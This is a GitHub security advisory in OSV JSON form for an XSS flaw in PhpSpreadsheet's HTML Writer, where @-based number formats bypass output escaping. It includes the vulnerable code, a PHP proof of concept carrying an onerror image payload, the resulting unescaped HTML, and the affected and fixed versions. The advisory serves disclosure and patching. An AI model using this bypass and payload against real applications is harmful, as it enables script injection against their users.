GHSA-6WPP-88CP-7Q68
Vulnerability from github – Published: 2026-04-28 22:50 – Updated: 2026-05-08 15:29Summary
The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.
Details
1. Conditional escaping in Html.php:1586-1594
$cellData = NumberFormat::toFormattedString(
$origData2,
$formatCode ?? NumberFormat::FORMAT_GENERAL,
[$this, 'formatColor']
);
if ($cellData === $origData) {
$cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}
htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.
2. Early return in Formatter.php:136-152
if (preg_match(self::SECTION_SPLIT, $format) === 0
&& preg_match(self::SYMBOL_AT, $formatx) === 1) {
if (!str_contains($format, '"')) {
return str_replace('@', /* raw value */, $format);
}
return str_replace(/* ... preg_replace with raw value ... */);
}
When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.
PoC
test.php
<?php
require '/app/vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
$payload = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';
$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);
$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();
file_put_contents('/app/output.html', $html);
echo "HTML output saved to /app/output.html\n";
The produced output contains unescaped data.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
<title>Untitled Spreadsheet</title>
<meta name="author" content="Unknown Creator" />
<meta name="title" content="Untitled Spreadsheet" />
<meta name="lastModifiedBy" content="Unknown Creator" />
<meta name="created" content="2026-04-02T16:34:44+00:00" />
<meta name="modified" content="2026-04-02T16:34:44+00:00" />
<style type="text/css">
[..SNIP..]
</style>
</head>
<body>
<div style='page: page0'>
<table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
<col class="col0" />
<tbody>
<tr class="row0">
<td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
</tr>
</tbody></table>
</div>
</body>
</html>
Impact
The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.6.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.15"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.3"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35453"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:50:31Z",
"nvd_published_at": "2026-05-05T20:16:38Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ \"items\"` or `\"Total: \"@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.\n\n### Details\n\n\n#### 1. Conditional escaping in `Html.php:1586-1594`\n\n```php\n$cellData = NumberFormat::toFormattedString(\n $origData2,\n $formatCode ?? NumberFormat::FORMAT_GENERAL,\n [$this, \u0027formatColor\u0027]\n);\n\nif ($cellData === $origData) {\n $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());\n}\n```\n\n`htmlspecialchars()` is only called when `$cellData === $origData` (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.\n\n#### 2. Early return in `Formatter.php:136-152`\n\n```php\nif (preg_match(self::SECTION_SPLIT, $format) === 0\n \u0026\u0026 preg_match(self::SYMBOL_AT, $formatx) === 1) {\n if (!str_contains($format, \u0027\"\u0027)) {\n return str_replace(\u0027@\u0027, /* raw value */, $format);\n }\n return str_replace(/* ... preg_replace with raw value ... */);\n}\n```\n\nWhen the format code contains `@` with additional literal text (e.g., `@ \"items\"`), the formatter substitutes the raw cell value into the format string and **returns early** \u2014 the `formatColor` callback (which would have applied `htmlspecialchars`) is never invoked.\n\n\n### PoC\n\n**test.php**\n``` php\n\u003c?php\n\nrequire \u0027/app/vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Html;\n\n$spreadsheet = new Spreadsheet();\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\n$payload = \u0027\u003cimg src=x onerror=alert(document.domain)\u003e\u0027;\n$formatCode = \u0027@ \"items\"\u0027;\n\n\n$sheet-\u003esetCellValue(\u0027A1\u0027, $payload);\n$sheet-\u003egetStyle(\u0027A1\u0027)-\u003egetNumberFormat()-\u003esetFormatCode($formatCode);\n\n$writer = new Html($spreadsheet);\n$html = $writer-\u003egenerateHTMLAll();\n\nfile_put_contents(\u0027/app/output.html\u0027, $html);\n\necho \"HTML output saved to /app/output.html\\n\";\n```\n\nThe produced output contains unescaped data.\n``` html\n\u003c!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"\u003e\n\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\n \u003chead\u003e\n \u003cmeta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /\u003e\n \u003cmeta name=\"generator\" content=\"PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet\" /\u003e\n \u003ctitle\u003eUntitled Spreadsheet\u003c/title\u003e\n \u003cmeta name=\"author\" content=\"Unknown Creator\" /\u003e\n \u003cmeta name=\"title\" content=\"Untitled Spreadsheet\" /\u003e\n \u003cmeta name=\"lastModifiedBy\" content=\"Unknown Creator\" /\u003e\n \u003cmeta name=\"created\" content=\"2026-04-02T16:34:44+00:00\" /\u003e\n \u003cmeta name=\"modified\" content=\"2026-04-02T16:34:44+00:00\" /\u003e\n \u003cstyle type=\"text/css\"\u003e\n[..SNIP..]\n \u003c/style\u003e\n \u003c/head\u003e\n\n \u003cbody\u003e\n\u003cdiv style=\u0027page: page0\u0027\u003e\n \u003ctable border=\u00270\u0027 cellpadding=\u00270\u0027 cellspacing=\u00270\u0027 id=\u0027sheet0\u0027 class=\u0027sheet0 gridlines\u0027\u003e\n \u003ccol class=\"col0\" /\u003e\n \u003ctbody\u003e\n \u003ctr class=\"row0\"\u003e\n \u003ctd class=\"column0 style1 s\"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e items\u003c/td\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"719\" height=\"716\" alt=\"Screenshot 2026-04-02 at 18 45 53\" src=\"https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe\" /\u003e\n\n\n\n### Impact\n\nThe impact changes based on the way the HTML is served. \nIn case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.",
"id": "GHSA-6wpp-88cp-7q68",
"modified": "2026-05-08T15:29:45Z",
"published": "2026-04-28T22:50:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35453"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer"
}
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